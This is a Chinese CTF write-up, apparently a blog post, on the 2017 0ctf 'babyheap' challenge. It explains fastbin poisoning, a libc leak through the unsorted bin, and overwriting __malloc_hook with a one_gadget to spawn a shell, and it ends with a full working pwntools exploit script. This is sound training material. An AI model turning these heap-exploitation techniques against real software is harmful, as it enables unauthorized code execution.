2017 0ctf babyheap

2017 0ctf babyheap

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap

grxer@Ubuntu16:~/Desktop/pwn/heap$ checksec babyheap 
[*] '/home/grxer/Desktop/pwn/heap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

刚开始的init_my会利用/dev/urandom随机函数用mmap随机映射一块内存给我们存放指针,没有了确定地址,我们就不好去构成unlink攻击

allocate()根据我们输入的size构成如下一个结构体,把指针放在mmap的堆上

00000000 chunk           struc ; (sizeof=0x18, mappedto_6)
00000000 inuse           dq ?
00000008 size            dq ?
00000010 ptr             dq ?                    ; offset
00000018 chunk           ends

fill()也会根据我们的size进行读写,任意堆溢出,这就好办了

freechunk()挺好的,该置零的都置零

      LODWORD(a1[v2].inuse) = 0;
      a1[v2].size = 0LL;
      free(a1[v2].ptr);
      result = (__int64)&a1[v2];
      *(_QWORD *)(result + 16) = 0LL;

unsort bin泄露libc

allocate(0x10)  # idx 0, 0x00
allocate(0x10)  # idx 1, 0x20
allocate(0x10)  # idx 2, 0x40
allocate(0x10)  # idx 3, 0x60
allocate(0x80)  # idx 4, 0x80
free(2)
free(1)
payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * b'b' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10)
allocate(0x10)
payload = 0x10 * b'c' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
allocate(0x80)
free(4)
# gdb.attach(io)
dump(2)

这里我们申请五个堆

在这里插入图片描述

我们free(2)free(1)后形成单链表

在这里插入图片描述

由于我们可以利用堆溢出chunk0去一改写chunk1,改写1的fd为,由于堆一般都是以4k对齐的,我们可以根据申请堆的大小猜测处chunk2和chunk4只有最后一个字节0x80的差距

payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)即可

在这里插入图片描述

这样我们申请两次就可以拿到chunk4,我们需要改写大小绕过fastbin0x20的检测

堆溢出chunk3即可payload = 0x10 * b'b' + p64(0) + p64(0x21)

allocate(0x10)
allocate(0x10)

把chunk2分配到chunk4数据区

这时候释放chunk4之前,要再申请一个堆防止unsorted bin的chunk4与topchunk合并,并把chunk4的大小溢出为0x91进入unsortedbin,输出chunk2就能拿到unsortbin地址

在这里插入图片描述

通过固定偏移找到libc基址

切割chunk malloc_hook

这个时候我们的chunk2是可以控制chunk4的data区,这就需要我们把chunk4丢到fastbin的链表中,实现任意地址malloc,但是chunk4现在再unsortbin的循环链表里

我们可以利用ptmalloc2特性当fastbin大小里没有合适大小的chunk,会去unsorted bin找合适大小的块或者切割合适大小的块

#include <stdio.h>
#include <stdlib.h>
int main(void) {
	void* x = malloc(0x80);
	malloc(0x10); //防止和topchunk合并
	free(x);
	void* y = malloc(0x60);
	
}
//gcc -g -o test test.c

malloc(0x10)

在这里插入图片描述

free(x)

在这里插入图片描述

void* y = malloc(0x60);

在这里插入图片描述

可以看到直接分割

在这里插入图片描述

0x7f我们需要伪造0x60大小chunk,直接一步达到要求

allocate(0x60) #idx4
free(4)

再把fakechunk写入

ake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)

在这里插入图片描述

allocate(0x60) # idx 4
allocate(0x60) # idx 6

得到chunk

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

写入onegadget

one_gadget_addr = libc + 0x4526a
payload = 0x13 * b’a’ + p64(one_gadget_addr)
fill(6, len(payload), payload)

继续跑路

在这里插入图片描述

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./babyheap'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote('node4.buuoj.cn','28529')
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def allocate(size):
    io.recvuntil(b'Command: ')
    io.sendline(b'1')
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())


def fill(idx, size, content):
    io.recvuntil(b'Command: ')
    io.sendline(b'2')
    io.recvuntil(b'Index: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'Content: ')
    io.send(content)


def free(idx):
    io.recvuntil(b'Command: ')
    io.sendline(b'3')
    io.recvuntil(b'Index: ')
    io.sendline(str(idx).encode())


def dump(idx):
    io.recvuntil(b'Command: ')
    io.sendline(b'4')
    io.recvuntil(b'Index: ')
    io.sendline(str(idx).encode())
allocate(0x10)  # idx 0, 0x00
allocate(0x10)  # idx 1, 0x20
allocate(0x10)  # idx 2, 0x40
allocate(0x10)  # idx 3, 0x60
allocate(0x80)  # idx 4, 0x80
# gdb.attach(io)
free(2)
free(1)
# gdb.attach(io)
payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
# gdb.attach(io)
payload = 0x10 * b'b' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10) #idx 1
allocate(0x10) #idx 2
payload = 0x10 * b'c' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
allocate(0x80)# idx5
free(4)
# gdb.attach(io)
dump(2)
ru(b'Content: \n')
unsortbin_addr = u64(io.recv(8))
main_arena=unsortbin_addr-88
libc=main_arena-0x3C4B20
p('libc',libc)
allocate(0x60) #idx4
free(4)
# gdb.attach(io)
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60)  # idx 4
allocate(0x60)  # idx 6
one_gadget_addr = libc + 0x4526a
payload = 0x13 * b'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
gdb.attach(io)

allocate(0x100)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值